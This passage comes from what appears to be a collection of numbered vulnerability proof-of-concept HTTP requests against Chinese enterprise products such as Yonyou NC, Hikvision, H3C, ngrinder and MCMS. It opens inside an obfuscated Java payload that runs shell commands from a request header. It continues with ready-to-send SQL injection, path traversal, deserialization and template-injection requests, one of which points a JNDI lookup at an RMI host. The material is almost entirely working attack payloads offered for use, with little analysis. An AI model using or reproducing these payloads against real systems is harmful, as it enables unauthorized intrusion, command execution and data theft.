0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u0069\u0073\u0074\u0029\u0020\u0028\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u0020\u0069\u006e\u0074\u0020\u006a\u0020\u003d\u0020\u0030\u003b\u0020\u006a\u0020\u003c\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0073\u0069\u007a\u0065\u0028\u0029\u003b\u0020\u002b\u002b\u006a\u0029\u0020\u007b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0067\u0065\u0074\u0028\u006a\u0029\u003b\u0066\u0

020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u002e\u0067
\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0
044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u002
8\u0022\u0072\u0065\u0071\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\
u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0
065\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0072\u0065\u0071\u0020
\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0070\u0072\u006f\u0063\u0065\u0
073\u0073\u006f\u0072\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0072
\u0065\u0073\u0070\u0020\u003d\u0020\u0072\u0065\u0071\u002e\u0067\u0065\u0074\u
0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u00
74\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0052\u0065\u0073\u0070\u006f\
u006e\u0073\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0
073\u0073\u005b\u0030\u005d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028
\u0072\u0065\u0071\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u
0063\u0074\u005b\u0030\u005d\u0029\u003b\u0073\u0074\u0072\u0020\u003d\u0020\u00
28\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0020\u0072\u0065\u0071\u002e\u0067
\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0
04d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0048\u0065\u0061
\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0
073\u0073\u005b\u005d\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006
c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u
0072\u0065\u0071\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u006
3\u0074\u005b\u005d\u007b\u0022\u0043\u006d\u0064\u0022\u007d\u0029\u003b\u0069\
u0066\u0020\u0028\u0073\u0074\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u0
06c\u0020\u0026\u0026\u0020\u0021\u0073\u0074\u0072\u002e\u0069\u0073\u0045\u006
d\u0070\u0074\u0079\u0028\u0029\u0029\u0020\u007b\u0020\u0072\u0065\u0073\u0070\
u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0
065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0073\u0065\u0074\u0053
\u0074\u0061\u0074\u0075\u0073\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u0
06c\u0061\u0073\u0073\u005b\u005d\u007b\u0069\u006e\u0074\u002e\u0063\u006c\u006
1\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u
0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u006
3\u0074\u005b\u005d\u007b\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\
u0065\u0072\u0028\u0032\u0030\u0030\u0029\u007d\u0029\u003b\u0053\u0074\u0072\u0
069\u006e\u0067\u005b\u005d\u0020\u0063\u006d\u0064\u0073\u0020\u003d\u0020\u0053
\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u0
065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022
\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u
0028\u0029\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u007
7\u0069\u006e\u0064\u006f\u0077\u0022\u0029\u0020\u003f\u0020\u006e\u0065\u0077\u
0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u0063\u006d\u00
64\u002e\u0065\u0078\u0065\u0022\u002c\u0020\u0022\u002f\u0063\u0022\u002c\u0020\
u0073\u0074\u0072\u007d\u0020\u003a\u0020\u006e\u0065\u0077\u0020\u0053\u0074\u0
072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u002f\u0062\u0069\u006e\u002f\u0073

\u0068\u0022\u002c\u0020\u0022\u002d\u0063\u0022\u002c\u0020\u0073\u0074\u0072\u0
07d\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0068\u0061\u0072\u007
3\u0065\u0074\u004e\u0061\u006d\u0065\u0020\u003d\u0020\u0053\u0079\u0073\u0074\
u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0
079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022\u0029\u002e\u0074
\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u002e\u0
063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0077\u0069\u006e\u0064
\u006f\u0077\u0022\u0029\u0020\u003f\u0020\u0022\u0047\u0042\u004b\u0022\u003a\u0
022\u0055\u0054\u0046\u002d\u0038\u0022\u003b\u0062\u0079\u0074\u0065\u005b\u005
d\u0020\u0074\u0065\u0078\u0074\u0032\u0020\u003d\u0028\u006e\u0065\u0077\u0020\
u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0053\u0063\u0061\u0
06e\u006e\u0065\u0072\u0028\u0028\u006e\u0065\u0077\u0020\u0050\u0072\u006f\u0063
\u0065\u0073\u0073\u0042\u0075\u0069\u006c\u0064\u0065\u0072\u0028\u0063\u006d\u
0064\u0073\u0029\u0029\u002e\u0073\u0074\u0061\u0072\u0074\u0028\u0029\u002e\u00
67\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d
\u0028\u0029\u002c\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0
065\u0029\u0029\u002e\u0075\u0073\u0065\u0044\u0065\u006c\u0069\u006d\u0069\u0074
4\u0065\u0072\u0028\u0022\u005c\u005c\u0041\u0022\u0029\u002e\u006e\u0065\u0078\u
0074\u0028\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u00
63\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u003b\u0062
\u0079\u0074\u0065\u005b\u005d\u0020\u0072\u0065\u0073\u0075\u006c\u0074\u003d\u
0028\u0022\u0045\u0078\u0065\u0063\u0075\u0074\u0065\u003a\u0020\u0020\u0020\u00
20\u0022\u002b\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028
\u0074\u0065\u0078\u0074\u0032\u002c\u0022\u0075\u0074\u0066\u002d\u0038\u0022\u
0029\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0063\u00
68\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u003b\u0074\u0072
\u0079\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u0073\u0
020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061
\u006d\u0065\u0028\u0022\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0
065\u002e\u0074\u006f\u006d\u0063\u0061\u0074\u002e\u0075\u0074\u0069\u006c\u002e
\u0062\u0075\u0066\u002e\u0042\u0079\u0074\u0065\u0043\u0068\u0075\u006e\u006b\u
0022\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u006
e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\
u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0
065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0073\u0065\u0074\u0042
\u0079\u0074\u0065\u0073\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0
061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063
\u006c\u0061\u0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u
0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u007
d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006f\u0062\u006a\u002c\u
0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007
b\u0072\u0065\u0073\u0075\u006c\u0074\u002c\u0020\u006e\u0065\u0077\u0020\u0049\u
006e\u0074\u0065\u0067\u0065\u0072\u0028\u0030\u0029\u002c\u0020\u006e\u0065\u00
77\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0072\u0065\u0073\u0075

```
\u006c\u0074\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u007d\u0029\u003b\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u004d\u0065\u0074\u0068\u006f\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0076\u0061\u0072\u0035\u0029\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u006e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0077\u0072\u0061\u0070\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0063\u006c\u0073\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0073\u0075\u006c\u0074\u007d\u0029\u003b\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0066\u006c\u0061\u0067\u0020\u003d\u0020\u0074\u0072\u0075\u0065\u003b\u0020\u007d\u0069\u0066\u0020\u0028\u0066\u006c\u0061\u0067\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u006b\u003b\u0020\u007d\u0020\u007d\u0069\u0066\u0020\u0028\u0066\u006c\u0061\u0067\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u006b\u003b\u0020\u007d\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0020\u007d&modelName=test
```

92.联奕统一身份认证平台 getDataSource 存在信息泄露漏洞

```
POST /api/bd-mdp/serviceManager/outInterface/getDataSource HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36
```

```
(KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Content-Type: application/x-www-form-urlencoded

0
```

93.用友 NC-oacoSchedulerEvents 接口存在 sql 注入漏洞

```
GET
/portal/pt/oacoSchedulerEvents/isAgentLimit?pageId=login&pk_flowagent=1'waitfor+delay+'0:0:
5'-- HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/70.0.3538.77 Safari/537.36
```

94.致远互联 FE 协作平台 ncsubjass 存在 SQL 注入

```
POST /fenc/ncsubjass.j%73p HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

subjcode=';WAITFOR DELAY '0:0:6'--
```

95.海康威视综合安防管理平台 keepAlive 远程执行代码漏洞

```
POST /bic/ssoService/v1/keepAlive HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Cmd: whoami
Content-Type: application/json

{"CTGT":{ "a": {"@type": "java.lang.Class","val":
"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val":
"com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type":
"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type":
"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":
"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$
```

```
q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$
ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$c
e$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U
$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7T
t$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c
$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96
$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac
$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$
c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd
$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e
1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$
e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c0
3$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5
$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2
$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e
1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$
aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$
3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cd
f$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj
$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$
7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b
5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$9
9$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$
o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$d
e$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$
f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$
z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5
$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h
$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3
a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5
b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$
5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6
$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$
92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a
9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d
8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e0
99$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}
```

96.万户-ezOFFICE-download_ftp.jsp 任意文件下载漏洞

```
GET /defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xml
HTTP/1.1
```

```
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
```

97.H3C 自助服务平台 dynamiccontent 远程命令执行漏洞

```
POST /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: {{Hostname}}
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)
Content-Type: application/x-www-form-urlencoded

pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDz
OAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGaf
OLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1gh
GlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwSt
DSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol
1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZj
HlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr
5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2B
N7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESu
WGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3Wd
OdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uu
UPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF
9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMG
WYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99z
SUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFy
aXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUE
bIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRr
ETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTM
u3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2Bjma
E%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D
&cmd=whoami
```

98.ngrinder 压力测试平台反序列化漏洞(CVE-2024-28212)

```
POST /ngrinder-controller-3.5.8/script/api/github/validate HTTP/1.1
Host: {{Hostname}}
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
```

```
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

{
&amp;quot;content&amp;quot;:  &amp;quot;!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: rmi://192.168.85.129:13243/jmxrmi\n  autoCommit: true\n&amp;quot;
}
```

99.ngrinder 压力测试平台远程命令执行漏洞(CVE-2024-28211)

```
GET /monitor/api/state?ip=192.168.85.129 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
```

100.喰星云-数字化餐饮服务系统 listuser 信息泄露漏洞

```
GET /chainsales/head/user/listuser HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
```

101.铭飞 MCMS 远程代码执行漏洞

```
POST
/static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%76%69%64%65%6f%55%72%6c%50%72%65%66%69%78%3a%27%27%2c%66%69%6c%65%4d%61%6e%61%67%65%72%4c%69%73%74%50%61%74%68%3a%27%27%2c%69%6d%61%67%65%4d%61%78%53%69%7a%65%3a%32%30%34%38%30%30%30%30%30%2c%76%69%64%65%6f%4d%61%78%53%69%7a%65%3a%32%30%34%38%30%30%30%30%30%2c%66%69%6c%65%4d%61%78%53%69%7a%65%3a%32%30%34%38%30%30%30%30%30%2c%66%69%6c%65%55%72%6c%50%72%65%66%69%78%3a%27%27%2c%69%6d%61%67%65%55%72%6c%50%72%65%66%69%78%3a%27%27%2c%69%6d%61%67%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%5c%75%30%30%32%45%5c%75%30%30%32%45%5c%75%30%30%32%46%7d%7b%74%65%6d%70%6c%61%74%65%2f%31%2f%64%65%66%61%75%6c%74%2f%7d%7b%74%69%6d%65%7d%27%2c%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%75%70%6c%6f%61%64%2f%31%2f%63%6d%73%2f%63%6f%6e%74%65%6e%74%2f%65%64%69%74%6f%72%2f%7b%74%69%6d%65%7d%27%2c%76%69%64%65%6f%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%75%70%6c
```

```
%6f%61%64%2f%31%2f%63%6d%73%2f%63%6f%6e%74%65%6e%74%2f%65%64%69%74%6f%72%2f%7b%74%69%6d%65%7d%27%2c%22%69%6d%61%67%65%41%6c%6c%6f%77%46%69%6c%65%73%22%3a%5b%22%2e%70%6e%67%22%2c%20%22%2e%6a%70%67%22%2c%20%22%2e%6a%70%65%67%22%2c%20%22%2e%6a%73%70%78%22%2c%20%22%2e%6a%73%70%22%2c%22%2e%68%74%6d%22%5d%7d%0a&action=uploadimage HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=--------------------------583450229485407027180070

--------------------------583450229485407027180070
Content-Disposition: form-data; name="upload";filename="1.htm"
Content-Type: image/png

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }
--------------------------583450229485407027180070--
```

102.用友智石开 PLM-getWorkGroups 存在信息泄露漏洞

```
POST /services/MessageService HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Upgrade-Insecure-Requests: 1
Priority: u=1
SOAPAction:
Content-Type: text/xml;charset=UTF-8

